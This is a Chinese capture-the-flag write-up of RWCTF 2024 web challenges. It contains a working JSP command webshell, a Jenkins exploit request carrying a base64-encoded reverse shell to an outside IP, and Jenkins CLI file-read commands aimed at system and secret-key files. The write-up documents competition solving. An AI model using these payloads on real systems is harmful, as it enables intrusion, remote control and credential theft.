目录

  1. 1. 前言
  2. 2. Be-More-Elegant
  3. 3. Be-a-Security-Researcher
  4. 4. YourSqlTrick (Unsolved)
  5. 5. Old-Shiro (Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

RWCTF体验赛2024

2024/1/27 CTF线上赛
  |     |   总文章阅读量:

前言

学了一堆最新最热,好爽(

X1r0z佬的wp:https://exp10it.io/2024/02/rwctf-2024-%E4%BD%93%E9%AA%8C%E8%B5%9B-writeup/


Be-More-Elegant

Struts2 CVE-2023-50164 目录穿透写马

参考文章:https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/#

JspFilter.class

// Source code is decompiled from a .class file using FernFlower decompiler.
package be.more.elegant.filter;

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;

public class JspFilter implements Filter {
   public JspFilter() {
   }

   public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
      String path = ((HttpServletRequest)request).getServletPath();
      if (path.startsWith("/views") || !path.endsWith("jsp") && !path.endsWith("jspx")) {
         chain.doFilter(request, response);
      } else {
         throw new ServletException("jsp not allowed");
      }
   }
}

直接看判断条件:如果请求路径以 “/views” 开头,或者请求路径不以 “jsp” 结尾且不以 “jspx” 结尾,则正常执行

HeaderIconAction.class

// Source code is decompiled from a .class file using FernFlower decompiler.
package be.more.elegant;

import com.opensymphony.xwork2.ActionSupport;
import java.io.File;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.action.ServletRequestAware;

public class HeaderIconAction extends ActionSupport implements ServletRequestAware {
   public static final File UPLOAD_DIR = new File(HeaderIconAction.class.getClassLoader().getResource("../../statics/").getFile(), "uploads");
   private HttpServletRequest request;
   private String uploadedPath;
   private File fileUpload;
   private String fileUploadContentType;
   private String fileUploadFileName;

   public HeaderIconAction() {
   }

   public String execute() throws Exception {
      return "input";
   }

   public String doUpload() {
      try {
         String remoteAddr = this.request.getRemoteAddr();
         String md5ForIp = this.md5Ip(remoteAddr);
         File sandBox = new File(UPLOAD_DIR, md5ForIp);
         File fileToCreate = new File(sandBox, this.fileUploadFileName);
         FileUtils.copyFile(this.fileUpload, fileToCreate);
         this.uploadedPath = "statics/uploads/" + md5ForIp + "/" + this.fileUploadFileName;
         return "success";
      } catch (Exception var5) {
         return "error";
      }
   }

   public String md5Ip(String ip) throws NoSuchAlgorithmException {
      MessageDigest md = MessageDigest.getInstance("MD5");
      md.update(ip.getBytes());
      byte[] digest = md.digest();
      StringBuilder sb = new StringBuilder();
      byte[] var5 = digest;
      int var6 = digest.length;

      for(int var7 = 0; var7 < var6; ++var7) {
         byte b = var5[var7];
         sb.append(String.format("%02x", b & 255));
      }

      return sb.toString();
   }

   public File getFileUpload() {
      return this.fileUpload;
   }

   public void setFileUpload(File fileUpload) {
      this.fileUpload = fileUpload;
   }

   public String getFileUploadContentType() {
      return this.fileUploadContentType;
   }

   public void setFileUploadContentType(String fileUploadContentType) {
      this.fileUploadContentType = fileUploadContentType;
   }

   public String getFileUploadFileName() {
      return this.fileUploadFileName;
   }

   public void setFileUploadFileName(String fileUploadFileName) {
      this.fileUploadFileName = fileUploadFileName;
   }

   public String getUploadedPath() {
      return this.uploadedPath;
   }

   public void withServletRequest(HttpServletRequest httpServletRequest) {
      this.request = httpServletRequest;
   }
}

做法就是S2新出的那个最新最热cve,对应的name改一下,注意首字母大小写

不知道为什么需要先正常上传一次poc.txt,然后才能打入我们目录穿越的poc

image-20240127211230944

那我们的思路就有了,利用目录穿透创建出/views的路径,然后注入jsp一句话木马就行(一开始想的是覆盖JspFilter.class没成功x)

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

image-20240127214405514

image-20240127214624437

然后就搞到webshell了,根目录下有/flag不能直接读,但是有readflag

image-20240127214708259


Be-a-Security-Researcher

CVE-2024-23897 任意文件读取

Jenkins框架

进去就是登录界面,弱口令爆了半天爆不出来

试了一下CVE-2018-1000861的RCE,不行

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvMTQ3MjMgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22.execute()}}

搜了一下,还有个最新最热CVE-2024-23897,甚至是p神刚刚发的博客:https://www.leavesongs.com/PENETRATION/jenkins-cve-2024-23897.html

访问/jnlpJars/jenkins-cli.jar,下载jenkins-cli.jar

java -jar jenkins-cli.jar -s http://47.96.171.129:8080 -http help 1 "@/etc/passwd"

可以尝试读以下文件

/proc/self/environ
HOSTNAME=ea5e9c6f4210PWD=/HOME=/rootSHLVL=0PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

/proc/self/cmdline
java-Duser.home=/var/jenkins_home-Dhudson.lifecycle=hudson.lifecycle.ExitLifecycle-jar/usr/share/jenkins/jenkins.war

然后尝试读了一下和登录有关的几个文件发现都读不到,原来是根本没账户!

/var/jenkins_home/users/*/config.xml
/var/jenkins_home/secret.key
/var/jenkins_home/secrets/master.key  /var/jenkins_home/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

于是直接读flag就出了(乐

java -jar jenkins-cli.jar -s http://47.96.171.129:8080 -http help 1 "@/flag"

image-20240128005038306


YourSqlTrick (Unsolved)

dedecms sql注入


Old-Shiro (Unsolved)

shiro 550 限制payload长度 Header绕过